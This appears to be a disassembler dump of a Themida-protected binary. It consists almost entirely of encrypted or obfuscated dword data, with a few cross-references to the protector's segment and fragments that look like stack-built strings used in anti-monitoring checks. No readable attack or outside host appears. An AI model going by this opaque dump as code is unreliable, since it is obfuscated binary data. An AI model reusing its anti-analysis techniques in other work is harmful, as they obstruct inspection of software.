dd 0FD78079Dh, 9BC2DA75h, 9B5954CDh, 0B1EFD0DEh, 9B7F78B7h
dd 959208DEh, 0B7AE577h, 8872F336h, 0B1EF866Eh, 4D7F53B7h
dd 0AD7954C5h, 3F36BA8Ah, 9B20929Ah, 9B7E2BF6h, 561C277Eh
dd 0FF6B1AB6h, 15297975h, 0FD7ABE4Eh, 89A0652Fh, 3D59A57Bh
dd 0DF709491h, 4DBA07F5h, 3ED183FEh, 0FD7B009Dh, 0E1922A75h
dd 0A77ABC77h, 120E844Eh, 16D049C5h, 0FCA77FA9h, 0BE8CCB75h
dd 0D30FED74h, 0FF7B1A26h, 0B207975h, 8872BD36h, 89A06554h
dd 3D59A568h, 0DF709491h, 4DBA07F5h, 6885B5FFh, 0F8953039h
dd 0FD5F1F2Fh, 3F71DA51h, 4DB9F513h, 0BD9285E9h, 4D7A9774h
dd 359261F4h, 157AE574h, 0FD7AF22Dh, 0FC5791DEh, 60CABC75h
dd 61CA9DDFh, 0FC5BC7DFh, 451C9775h, 561C4A13h, 0FD7B439Dh
dd 0FD4C1A75h, 561C7975h, 0FD7BB69Dh, 57E7EE75h, 57E69FB6h
dd 0FD7A699Dh, 0FCF32375h, 0BE8CE575h, 0F20FFA74h, 15D0F9C5h
dd 0FD7ABC65h, 0F99EDEDFh, 1584487Dh, 0FD7A97AAh, 3ED056C5h
dd 0FD7AE2CDh, 0ADEF0D75h, 707F96B7h, 12B8ABC0h, 518A5D70h
dd 2D02C7Fh, 12B8DBE0h, 0E5920870h, 4D7AE574h, 5779F825h
dd 2844B9Dh, 0FC43548Ah, 0A5CA5E75h, 3ED02C7Fh, 4DD0C7C5h
dd 0E1926127h, 9B851A8Bh, 9B4BFDCDh, 36B91DEh, 0A7CA438Ah
dd 5722EEDFh, 57929FB6h, 0C923C22h, 0A77ACB75h, 3F5122FEh
dd 747E1AF6h, 8B9177h, 592438Ah, 4D7A5E75h, 5779252Dh
dd 34FF69B6h, 7D7F24B4h, 12BB2CC8h, 0EC0FF370h, 3F41FCF8h
dd 152AB99Ah, 0FD7A5C61h, 0FD781B9Dh, 571A2775h, 287759Dh
dd 0C30D8Ah, 9CCA0D8Ah, 34F787DFh, 7D7F53B4h, 12BB97C8h
dd 0F10F2F70h, 3F4112F8h, 152ACE9Ah, 0FD7AE4DEh, 0FD7E4AB6h
dd 68857975h, 0F8957E25h, 3BE2C3F8h, 0F9F02A9Ah, 4DB93D6Dh
dd 562D619Ch, 0FD7A8E9Dh, 3AF1A875h, 15F9BB5Eh, 3E783571h
dd 3F36CB8Ah, 4ACE2A9Ah, 0FF0E9651h, 0F2CA74C1h, 0C9924E13h
dd 0AE7AF275h, 0FD7A279Dh, 0FEF0E675h, 0F179BEB5h, 577825B5h
dd 0B1EF68B6h, 7D7F24B7h, 39FAEA91h, 9B7542F5h, 15D12EDEh
dd 285415Ah, 0D6BDD52Fh, 0F992ACB7h, 45B995FCh, 0FD7ACB73h
dd 3F2A708Ah, 60F7F79Ah, 0F895BB5Ah, 3E39A0F8h, 0FD7A4ECDh
dd 0ADEFD075h, 7E7F78B7h, 35F1CEB5h, 0B1EF1A89h, 577F1DB7h
dd 15B98E97h, 28543BEh, 0D97B1DFFh, 778E5A72h, 0FC6C7F76h
dd 1608CB75h, 8831DB6h, 11F1A789h, 9D86BDF6h, 0FD7ABC9Dh
dd 17FB0475h, 0F895E9DDh, 7D86EAFCh, 12B880CFh, 7975E570h
dd 0FD7AF2ECh, 0FD7A73CDh, 0ADE84375h, 0BD7FB1B7h, 3F2EADFCh
dd 35F1929Ah, 3A0679F8h, 6F85E09Ah, 0F8953039h, 1F3C7FFDh
dd 0FD6D0480h, 7F795E75h, 0F895ED21h, 8DE01A35h, 7E7F24B2h
dd 0FEF3E1B6h, 0FD644B22h, 77797975h, 0F8957E21h, 3A24ECF8h
dd 59892A9Ah, 0FD722F2Bh, 6F85CB75h, 0F8952725h, 897E0AF6h
dd 447C7185h, 0FD7ABC72h, 0F24B5A7Dh, 1EBBF7C3h, 0FD742E76h
dd 0E172CB75h, 0FD765C44h, 0F972F275h, 0FD61C044h, 0F972BC75h
dd 0FD66E744h, 0F9722F75h, 15B7F44h, 80F3348Ah, 80F18489h
dd 0ADB93B89h, 0FD7A7F9Dh, 2229C75h, 0A58E7A11h, 55E6BFCh
dd 0D93E16E9h, 0C92CB389h, 0AD3A7867h, 0FD7AF2B6h, 0FD7A7975h
dd 0A87ABC75h, 151AB2FEh, 0FD7A2F75h, 7290162Fh, 707F24B2h
dd 12B8BDCFh, 0F50F7970h, 0FD7A71CCh, 9CDE4F75h, 0FD7E9CBCh
dd 0A5E7A226h, 7D7F78B7h, 887BD349h, 1683BE71h, 3E82A977h
dd 9D96F220h, 0FD7ABC9Dh, 17FB0475h, 0F895E8BDh, 3F2225F8h
dd 80F1CE9Ah, 0FD725C7Dh, 5989F275h, 0F9B8B014h, 40F7DC75h
dd 0F8959C2Dh, 0F5C3EF46h, 0E7A9775h, 9DB9AADFh, 3F2258F8h
dd 0C2FBF79Ah, 0FC7B7874h, 82FBB000h, 0FC7B5F71h, 4795A74h
dd 9C82969Eh, 40F7ABB6h, 0F895272Dh, 0FD7AF3CDh, 0FD72C075h
dd 5789BC75h, 3DF19D14h, 78F7EFFEh, 0F8955510h, 0CA8BD08Ah
dd 2AE9h, 2404C700h, 0
dd 0E8h, 0ED815D00h, 5EFC848h, 424448Bh, 316D8589h, 0B805E9h
dd 8D000000h, 0E94E6D8Dh, 0B8E1FF05h, 6754h, 0C93C8D8Dh
dd 6A05EFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
dd 56460000h, 6BD4B5C3h, 26558D89h, 0BD8905E9h, 5E923C1h
dd 80585C7h, 5A9005E9h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 150424h, 52420000h, 8B6516C3h, 0E904559Dh
dd 3D85C705h, 5E916h, 0F000000h, 688h, 0C19D3100h, 0FF05E92Fh
dd 0E92355B5h, 51006A05h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1704h, 0C3514100h, 2574EC17h, 0BC595FFh
dd 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
dd 55450000h, 0C6AD5C3h, 6911EB70h, 0D3ECBE66h, 1ED9BD09h
dd 6A05E9h, 1E9595FFh, 0C08B05E9h, 17055AEBh, 45F40B86h
dd 6ADF1E28h, 0B867BE4Eh, 9FAA3E88h, 59E41DA1h, 5502A500h
dd 94C60EDh, 156A1499h, 30044D9Ch, 54543A68h, 4D144A5Eh
dd 0C998CAECh, 5C01CAE7h, 638D0D56h, 29A1F30Bh, 1B1DEE89h
dd 6E69247Fh, 4736AA0Fh, 59A5112Fh, 0E5202D67h, 0E043608Ah
dd 0E8B1DA15h
dword_5AAB68 dd 0ED6CAFEh, 8755A80Bh, 0F1D8A4Fh, 0D5ABA80Bh, 0FF575EAh
; DATA XREF: Themida_:00563FD3o
dd 8453A80Bh, 5DBA8A4Fh, 840857AEh, 0CE58A4Fh, 0D5ABA80Bh
dd 0CAC75EAh, 857EA80Bh, 0D2E8A4Fh, 85F8A80Bh, 0DA08A4Fh
dd 0D5ABA80Bh, 2F2575EAh, 0C59E6ED4h, 3FC00310h, 0A7514798h
dd 4D8EBE90h, 8BD12154h, 2F4065DCh
dword_5AABC4 dd 0C59F23D4h, 7C00310h, 0A7514798h, 4D8E6990h, 87D12154h
; DATA XREF: Themida_:00552911o
dd 2F4065DCh, 0C59892D4h, 13C00310h, 0A7514798h, 4D890590h
dd 93D12154h, 2F4065DCh, 0C5987BD4h, 1FC00310h, 0A7514798h
dd 4D889690h, 0EFD12154h, 2F4065DCh, 0C599F5D4h, 6BC00310h
dd 0A7514798h, 4D881490h, 0E7D12154h, 2F4065DCh, 0C59977D4h
dd 73C00310h, 0A7514798h, 4D8B9290h, 0FFD12154h, 0C34065DCh
dd 2A5012B8h, 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h
dd 0A7AA4095h, 2AA8ED96h, 29458A15h, 0E367A024h, 0ADBAB496h
dd 2A54A1D5h, 64C6CB15h, 0D5BA4155h, 63CE75EAh, 6B93AAEh
dd 42848FFCh, 2211AB53h, 5D55FFEAh, 3AABA424h, 0C3B9CF9Ch
dd 0E3A8EDDAh, 0F74586D7h, 0EED744DAh, 0D7CEEAE9h, 26292359h
dd 0A2B9CFD2h, 6C54A851h, 0A24162ADh, 0EA660351h, 2FEE27BFh
dd 0C597DEDBh, 12947510h, 0A0D90201h, 0A7AA4963h, 0A1EC79AEh
dd 941AE51h, 0E92222DCh, 73BA8FFAh, 2ADF1037h, 28C82173h
dd 2FBB6B27h, 2BFD5BEAh, 81508C15h, 61330098h, 0FBABADBEh
dd 89EFD2A5h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh, 4ECEDF15h
dd 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A7AA4155h, 0A15CDDDAh
dd 0E7828668h, 2A54A8ADh, 30BACC15h, 2FBDB878h, 69CE529Eh
dd 0B99783FCh, 31EFE2A5h, 0A0D9F9FAh, 0A7AA4963h, 9A0D79AEh
dd 1A232094h, 81328C55h, 0DF6E2184h, 0D629215Dh, 5E000174h
dd 2A5C6A98h, 21A90140h, 0C2345495h, 0A2458A15h, 0BDBE290Bh
dd 294065DEh, 57DFA024h, 5E004D19h, 2A54A851h, 8BD77553h
dd 0A1514141h, 69CE19CDh, 0B9979BFCh, 31EFE2A5h, 0A0D9F9FAh
dd 0A7AA4963h, 9A0D79AEh, 1A232094h, 81328C65h, 0DF6E2184h
dd 0D629215Dh, 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h
dd 0DFCE8260h, 0D6116F5Dh, 0A2458A15h, 0C9953BFDh, 9197B91Dh
dd 0F2DE0491h, 0A2454A38h, 0D5A82851h, 0A25E0E1Ah, 23EDA851h
dd 55458A15h, 25862DA0h, 0A2458690h, 32A32851h, 0AA8E4B73h
dd 4C972337h, 0AE38A1BEh, 4BA8D5D8h, 6BB9CF9Eh, 7F54A093h
dd 66C6669Eh, 5FDFC8ADh, 0AE38011Dh, 2AA8ED96h, 0E458A15h
dd 22B769C2h, 62765826h, 78C22FDh, 0A2458AD5h, 25AB54D1h
dd 0A2459391h, 2A5D1151h, 53B28A15h, 0AF5B7AD4h, 0A2458A1Fh
dd 0E25610E0h, 91EF4B93h, 577F0391h, 5E380319h, 0D6112330h
dd 0A24D48DCh, 0A9B82304h, 292576D1h, 57DFA024h, 5E004D19h
dd 2A54A851h, 229D00B9h, 0E1D4A7B2h, 8860085h, 0E92222DCh
dd 73BA8FFAh, 0A7FEF8E1h, 4D86FC9Fh, 0A0855754h, 0DF6E20D6h
dd 0D629215Dh, 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h
dd 0DFCE8260h, 0D6116F5Dh, 0A2458A15h, 2A54AFE9h, 4FD77515h
dd 2651417Dh, 28C82045h, 2FBB6B27h, 2BF55BEAh, 86949BFBh
dd 622E8531h, 8050AC59h, 89EFAEA5h, 57DDA42Ch, 0E7CEEBE9h
dd 229661ADh, 4ECEDF15h, 4AA86CD2h, 294DFF9Eh, 6F93A42Ch
dd 0A2458AE9h, 0D5FE0451h, 4B55A387h, 868C2354h, 2FEF4917h
dd 0C597DEDBh, 0C4947510h, 4CBD28E9h, 88600BEh, 0A358D57Ah
dd 29247668h, 0E89D5414h, 29108A1Dh, 0D6902BBDh, 0AA300175h
dd 0ED58D5DAh, 0A2457650h, 80F8A851h, 0B26C18EAh, 0E2DFADB8h
dd 88558B9h, 0E92232DCh, 71BA8FFAh, 0E3941037h, 63CF2173h
dd 262983FBh, 0C3B9F79Ch, 0E3A8EDDAh, 0F74582D7h, 0EED744DAh
dd 0D7CEEAE9h, 26292359h, 0A2B9CFD2h, 8654A851h, 8BD775BFh
dd 0A1514141h, 637726DDh, 5CCE25FBh, 5D4065D6h, 0AAECCE82h
dd 28EEECE4h, 577F0290h, 5E380319h, 0D6112330h, 0A24D48DCh
dd 0A9B82304h, 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h
dd 6B773273h, 0B0D90337h, 0A7AA4963h, 92327BAEh, 9234B95h
dd 1FE04FDh, 0DFCC8668h, 6FDFC9ADh, 0AA8743E9h, 0C6DFFD51h
dd 0C2B94E96h, 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 24FDEC15h
dd 0A7FFCEB8h, 4D86FC8Fh, 9A875754h, 0E0320A0h, 5CCE25FBh
dd 5D4065D6h, 0ACECCE82h, 89EEECD8h, 57DDA42Ch, 0E7CEEBE9h
dd 229661ADh, 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h
dd 0A7AA447Dh, 2AA8ED96h, 29458A15h, 57DFA024h, 91792619h
dd 2A1E2C5Eh, 89798A15h, 2A162C5Eh, 0CA798A15h, 2A492C5Eh
dd 13798A15h, 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh, 0FA798A15h
dd 2A6B2A5Eh, 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 0B7CE2559h
dd 0F14065DCh, 0E02032DCh, 71BA8FFAh, 0C3A8EDD8h, 0A2458A42h
dd 0D558DDAEh, 38C88260h, 2FBB61FCh, 0D6DF0746h, 0D551479Bh
dd 5E0003C6h, 2A5492B8h, 0AE307515h, 0A75CDDAEh, 4D8C338Fh
dd 0B0D9FB54h, 0A7AA4061h, 6FDD7BAEh, 0A25863E9h, 5FABA851h
dd 0AA307519h, 0E39132DCh, 2F168FFAh, 0C59EDCCBh, 2B967510h
dd 2ABD5414h, 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h, 3044h
dd 0AE8h, 0CA9F6D00h, 85BABDA9h, 0BE1F2027h, 5C3BF736h
dd 0CE85Ah, 0F1260000h, 0EA01D065h, 3483BCCFh, 80BE638Bh
dd 5E32C991h, 65C2C281h, 0DB810000h, 6D7BA751h, 193DB8h
dd 840F00h, 8B000000h, 3AE3810Ah, 81380B1Ch, 4F9897E9h
dd 0BE830h, 1F470000h, 86D9E017h, 0F1F1DAD5h, 13E8DEh
dd 0FB1D0000h, 0FD111786h, 0A43F4A8Bh, 0FD62118h, 0D1D8DA22h
dd 1C5BF53h, 5F5F22C1h, 34AAF181h, 870F4B10h, 1Ah, 13E956h
dd 0D3F70000h, 0A37E0B20h, 4160984Bh, 0B98BBA03h, 0DC3E627Ah
dd 0E9815BB7h, 5CCC59AEh, 51D88B66h, 8FFAB70Fh, 12F68102h
dd 831E22D4h, 9FB304EAh, 0F01E883h, 0FFFF7A85h, 9E9FFh
dd 0D380000h, 8B40E72Fh, 0EB10952Fh, 16h, 4 dup(0)
dd 8010100h, 0EF000004h, 0B5895105h, 5E90DD1h, 12E8505Bh
dd 1A000000h, 35A50503h, 80ACFCB9h, 0DDF4A341h, 0C62E3603h
dd 59CA8B34h, 8B240489h, 0E92A8195h, 0F006A05h, 681h, 7D8D8B00h
dd 6A05E92Fh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1A04h, 0C3564600h, 0C4FE940Bh, 8DE909FCh, 0EFD10285h
dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h
dd 0C3554500h, 1EF51E9Eh, 0DB8105B3h, 3F1158ECh, 0CE8B6650h
dd 6A240489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 6D87C355h, 6EC09D9h, 6A18B1h
dd 1D29BD8Bh, 6A05E9h, 7C98166h, 0A195FFCDh, 2905E90Ah
dd 0E90335BDh, 550E905h, 0DEBA0000h, 0E85E317Eh, 0
dd 7ED815Dh, 8B05EFD1h, 4E8DFh, 0FA00000h, 0FD8A0000h
dd 7E950h, 77940000h, 963CD558h, 24448B14h, 66008B04h
dd 895AF0BFh, 0B5042444h, 6A58DCh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 180424h, 56460000h, 1AC7EDC3h, 0FFF91605h
dd 0E91E9595h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1D04h, 0C3554500h, 0FB36F675h, 28350AE1h
dd 8B60F7AEh, 0E90D1595h, 8D61FC05h, 0EFD00CB5h, 55006A05h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 0F2808E94h, 5206C7BDh, 896D6765h, 0E90DEDB5h, 446C705h
dd 6C636E6Fh, 4798D89h, 46C705E9h, 73736108h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 0AACCA14Ch, 0F88B66F5h, 68E0Fh, 9D890000h, 5E92661h
dd 840F006Ah, 0Ah, 5E9h, 26BC4400h, 858DC1B8h, 5EFD00Ch
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 8CC35747h
dd 0A6EE70E9h, 0D18B50F8h, 0E9240489h, 11h, 0FCC0C0D4h
dd 66CC3D65h, 0A71A9957h, 0DF9A483Ch, 2595FFB6h, 6A05E92Eh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h
dd 43000000h, 6E8DC353h, 635387EBh, 89E418F1h, 0E928258Dh
dd 55958B05h, 0B05E925h, 71840FC0h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
dd 4C6AC350h, 580AD29Bh, 6860Fh, 66500000h, 5FD3F8B9h
dd 68B0Fh, 9D010000h, 5E922E1h, 32298501h, 1FE905E9h, 6A000003h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h
dd 46000000h, 5630C356h, 98930779h, 0AE42BA18h, 8D8B4146h
dd 5E90471h, 890DFB68h, 0BBBF6621h, 24348129h, 21890CD7h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 77C35545h
dd 0D94750A4h, 95FF0383h, 5E91E95h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Bh, 0CC35646h, 2661211Dh, 8B49258Bh
dd 0E903898Dh, 0F58D8B05h, 8D05E922h, 0EFD00CB5h, 219D8B05h
dd 0C705E90Dh, 34383106h, 0A1BD8B36h, 0C705E907h, 2D370446h
dd 6A3134h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
dd 57470000h, 0EFF0EC3h, 757FF2A2h, 2BE59D8Bh, 46C705E9h
dd 8, 499D8B00h, 6A05E90Bh, 68A0F00h, 89000000h, 0E93065B5h
dd 1BD8905h, 8D05E910h, 0EFD00C85h, 8D8BF905h, 5E901C5h
dd 0EE990h, 0E2570000h, 7C2C5908h, 3ECDC766h, 0C521D995h
dd 9DB46050h, 0BE9h, 2E48D000h, 44882EA0h, 0CDEB5C24h
dd 95FF9061h, 5E92E25h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 15h, 6AC35343h, 65BD8918h, 2905E92Bh, 0E901AD85h
dd 0FC00B05h, 3A84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1D04h, 0C3554500h, 0CD6263EEh, 1D3977ABh
dd 0D78B0D0Ch, 189E9h, 0DA815700h, 62001C3Bh, 0E3D28159h
dd 687F77E7h, 66A12DDBh, 3481F18Ah, 0A12CF724h, 0DBD8B66h
dd 0FF05E902h, 0E91E9595h, 53006A05h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 1455F37Fh
dd 0CB58D06h, 0E805EFD0h, 6, 0B7FAEF44h, 0BF66D5D6h, 0C75BED69h
dd 6C694606h, 0DE8B6665h, 6D0446C7h, 0F636E6Fh, 685h, 0F99D2900h
dd 0C705E927h, 616C0846h, 0BE97373h, 20000000h, 3B89FC44h
dd 0A83E1604h, 46C7CDA3h, 0Ch, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 52941F4Eh
dd 803C9F8Fh, 82BBD6B1h, 0E95EFFA2h, 0Bh, 6DE194C4h, 814EF783h
dd 6AF6D50Ah, 5E900h, 45A80000h, 8D553DC4h, 0EFD00C85h
dd 0D6BF0F05h, 22DDBD31h, 669005E9h, 5082A0BFh, 6A90DE8Bh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h
dd 43000000h, 2532C353h, 1EE1C7CAh, 0FFD38F56h, 0E92E2595h
dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h
dd 0C3534300h, 2AB86936h, 0E652F57Ah, 0E5858933h, 0B05E92Fh
dd 15840FC0h, 0F000000h, 686h, 318D8B00h, 0E905E905h, 26h
dd 0E995BF66h, 0FFFB26E9h, 50006AFFh, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 0B58D43BBh
dd 5E972D4h, 6E8h, 1F2A5700h, 8BC57BD0h, 0E92DE59Dh, 0B85905h
dd 60000000h, 0D920BEBAh, 0E781661Dh, 0FF61C910h, 57006AE6h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
dd 668991E9h, 957A38Ah, 0E92B2185h, 0C18B5905h, 0D72E8D8Dh
dd 6A05EFh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
dd 50400000h, 47CB01C3h, 0F919466Ah, 908EBA60h, 8D231D28h
dd 5E931A1h, 89F08B61h, 0E926558Dh, 0ED9D8B05h, 0C705E90Ch
dd 0E9080585h, 73FC05h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1B04h, 0C3524200h, 2824E06Ch, 7BA7EFC7h
dd 59BD8Bh, 85C705E9h, 5E9163Dh, 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 7C35040h
dd 0E0D4CC4Bh, 0FF9805FCh, 0E91EE9B5h, 0C595FF05h, 6A05E90Bh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 820FC357h, 0DD689975h, 0BBD0BDEFh, 5B1FE933h
dd 95FF006Ah, 5E91E95h, 1DEBC08Bh, 2EA333E2h, 0A62C7B09h
dd 4369039Eh, 5ACAE63Bh, 82DF06C1h, 8021DA25h, 7A2C2FECh
dd 259D8D67h, 0B805E916h, 1434h, 3158589h, 0E805E9h, 58000000h
dd 0D05h, 0E9038900h, 1434h, 50Dh dup(0)
dd 9BE9h, 0AFD61600h, 4170AC92h, 0D2013E24h, 6194CFB5h
dd 0F5205E44h, 0A40ED4D8h, 381E3B66h, 0CDB3D0F7h, 6046638Eh
dd 9D6F326h, 0F1347A28h, 61BA1326h, 5487C283h, 9CE290B1h
dd 2216C91Ah, 0B5570FACh, 63A1CE09h, 0DE400A38h, 0CBF807C1h
dd 1DF76643h, 5A14B1E0h, 0E978BC48h, 3A8E54E6h, 4C46CAE9h
dd 3D0E976h, 10000000h, 82C233A1h, 2F692D5Bh, 0CB0ACEFCh
dd 6DAE72A0h, 16541846h, 0BBF9BDEBh, 639E6290h, 13E0230h
dd 0A4E0A4D2h, 68864775h, 5EFEBACh, 0F993B2E9h, 0FB828DFFh
dd 0EFEC3AB8h, 0E8C50305h, 0Ch, 0B8AA7107h, 9ED2C775h
dd 8DC7A697h, 0FE9h, 0FEF9EC00h, 457C6157h, 71097460h
dd 0C4E3C214h, 0F19D895Bh, 8105E92Ch, 6185C3h, 0B1BD0B00h
dd 3305E92Bh, 94B060F6h, 12E9h, 63CB4D00h, 0AE7ABDE9h
dd 7C8214B1h, 726D567Ch, 610EDD41h, 0F33048Bh, 0C081C9B7h
dd 247C4A9Bh, 2F759531h, 0E88105E9h, 9AE446Eh, 2F45BD31h
dd 0E88105E9h, 32522AE9h, 17E9BD8Bh, 895005E9h, 0E92F69BDh
dd 33048F05h, 20800Fh, 14E80000h, 43000000h, 88D67061h
dd 8E11369Ch, 7E618912h, 0DC358639h, 8930D574h, 0E90E7195h
dd 958B5905h, 5E90481h, 8904EE83h, 0E92745B5h, 3CFE8105h
dd 0FFFFF9Fh, 0FFFF8B85h, 1204EBFFh, 0E94CF5C6h, 0E0Ah
dd 0EFEF5668h, 92C9E905h, 6068FFF9h, 0E905EFF0h, 0FFF992BFh
dd 0EFF19668h, 92B5E905h, 2468FFF9h, 0E905EFF2h, 0FFF992ABh
dd 0EFF58468h, 92A1E905h, 6568FFF9h, 0E905EFF8h, 0FFF99297h
dd 0EFF95F68h, 928DE905h, 1959FFF9h, 0B3EFD5F2h, 44816784h
dd 0D712F815h, 63A187A4h, 0CB171B38h, 6986B1EFh, 0FE1B4283h
dd 91AED918h, 213E71ABh, 81C57354h, 0D1326F7h, 8B6D7B4h
dd 1326F746h, 0C8E965EFh, 0A2FAD752h, 0C2618F2Ch, 5A880A84h
dd 945EC6D9h, 0A0CEF938h, 824674D6h, 0C715C943h, 2FE00B49h
dd 0D6389442h, 692880B9h, 2F77BFA8h, 26631E1Bh, 0A236F2EAh
dd 7BA6E440h, 7E21834Dh, 3228D3D0h, 1ABD331Ch, 0B3E21FF9h
dd 2008C383h, 0B855CB13h, 85A6800h, 69A81320h, 104C103Eh
dd 0EC3BB3E1h, 0DAE1589h, 0C19D4368h, 3D934526h, 59000000h
dd 3366A17Bh, 659E3B05h, 4CFA9D0Dh, 1C322C53h, 9F3765DBh
dd 132004A3h, 1B4233D4h, 9045EAECh, 35752651h, 0D7B653CBh
dd 4526B309h, 1127h, 1FCDEE00h, 1320425Fh, 1E4CE95Fh, 901CAh
dd 88C20A00h, 29632755h, 1A4707B5h, 0D14716C9h, 0C119526Fh
dd 89EB1A57h, 23BF38E6h, 49BF1C32h, 5F92CCA6h, 12CA6731h
dd 200C487Ah, 670EAF13h, 26C59C44h, 2E9445h, 6F5A0000h
dd 7D8C5817h, 37079981h, 5DDB0C86h, 3496B0C0h, 5FFEE391h
dd 92081C32h, 7DF6CC64h, 60011320h, 0B0CA9615h, 0D5E64526h
dd 0AC000000h, 0B25588C2h, 1AA3E391h, 0B52B16C9h, 5E9C6018h
dd 7410533h, 621031D4h, 16C91A1Ch, 0C5F832A2h, 4A0EC663h
dd 6C0DD10h, 16C916DCh, 16B9EC26h, 1E0747F5h, 118716C9h
dd 71A0CD74h, 5BBE458Fh, 0BEA44130h, 0C235184h, 80A144B4h
dd 0B396CA6h, 51EAA441h, 5A1C31F1h, 0E6144380h, 2D9D7F1Ch
dd 2E69C5ECh, 437C99FBh, 0B7D87BEBh, 0C6A97788h, 0CB685AC0h
dd 0C6440D11h, 67A11119h, 8B3C0634h, 24C0D76Dh, 0F396F827h
dd 93B0DB19h, 13446FADh, 6F713904h, 1A9F5B53h, 6C00000Bh
dd 2E8052Ch, 947A97C6h, 250B2857h, 0B49AB7EAh, 2A2E4B76h
dd 99C402B8h, 2E55967Ch, 0C1EC2B11h, 5184BEA4h, 0D8866734h
dd 1326F596h, 0C2E1BF18h, 563C5984h, 9ECCE91Ch, 4A7176Fh
dd 8568B4E3h, 5BA33DDDh, 3C1F04BEh, 0F1671C32h, 3F7F2D4Eh
dd 0BF13201Eh, 430502FAh, 0D6F01CDh, 7EADB870h, 4572CDDBh
dd 0ECA643DAh, 132049D6h, 0B6F58021h, 452684EAh, 0F406h
dd 88C2CC00h, 99D8B255h, 5519D16Eh, 26BEEC17h, 16C916FCh
dd 7C99CC06h, 86295C96h, 1EF7B765h, 0FEAC16C9h, 16C91EB8h
dd 878D046h, 0A7719FCAh, 0D9F0A845h, 946E1181h, 33FD2B56h
dd 0EBB6996h, 0FD1C31F3h, 3D682EDCh, 761320h, 0E3C63A4h
dd 4FC5A744h, 31A1F932h, 58936D8Eh, 827D8BD6h, 70D28332h
dd 0DD1C7842h, 1DBA84B2h, 0C6A8D063h, 6DAA1A19h, 7E5BAFEFh
dd 0EF51FD4Bh, 0D210EA8Dh, 66A48AA7h, 0E4090A3Bh, 4E466F71h
dd 0A1092h, 0FB226200h, 8DBCF8DEh, 1E4D8A70h, 0ADE01B01h
dd 416CAA90h, 0F8C22024h, 8C728FBAh, 2107244Bh, 0B49AB7E2h
dd 5D2A477Ah, 0EA88CE7Ch, 0BD161326h, 5984C2DFh, 0A7E795B6h
dd 2716C91Ah, 406D14B1h, 5DFA2966h, 0ED0A3D77h, 0D07E9FC0h
dd 16C91A8Eh, 246A9A10h, 0AA16C91Ah, 9FCD003Ah, 0D61773D5h
dd 1AB781AFh, 5588C2ECh, 0DAFB1C27h, 0C91A6A2Ch, 0CEFE7416h
dd 16C91A88h, 0A3A5116h, 5EE2B009h, 3F795FFCh, 6EABD812h
dd 0E547113Fh, 5391EDB7h, 0CE30FA28h, 0B56384B1h, 16C904F1h
dd 0C6EA87FDh, 0E959B10Eh, 37772546h, 5E16C904h, 7C5CD2EDh
dd 52C8200Fh, 92BD01AFh, 0CB4116C9h, 0B253012Eh, 0FC1C3294h
dd 2D4E5786h, 209C3F7Fh, 114FBF13h, 2DE784E6h, 0B5E78C36h
dd 2EDC8DE5h, 0BAE5AC68h, 0FB9E0076h, 1E9AB04Dh, 8084B3B0h
dd 6586D539h, 0CF4527C4h, 886796A1h, 6F33A30Ch, 0A3FB34D1h
dd 0B3E29033h, 0F7B5F0F9h, 0E3BDDE81h, 0F7DD7AA5h, 284F90BDh
dd 7D41EFFAh, 81BAE0C9h, 5806A90Bh, 0BAE0C916h, 0A3C02298h
dd 1F5083BDh, 0C34A4704h, 0DA97534Bh, 2C000008h, 0C2A8C5ECh
dd 543A5786h, 0E5CBE817h, 745A77AAh, 0EAEE0B36h, 5984C2F8h
dd 0EE15563Ch, 81ACEBD1h, 11447E64h, 984627F4h, 1326EBD6h
dd 0C2A17FD8h, 10275588h, 0CBA548B8h, 6832608Fh, 6BF09ECBh
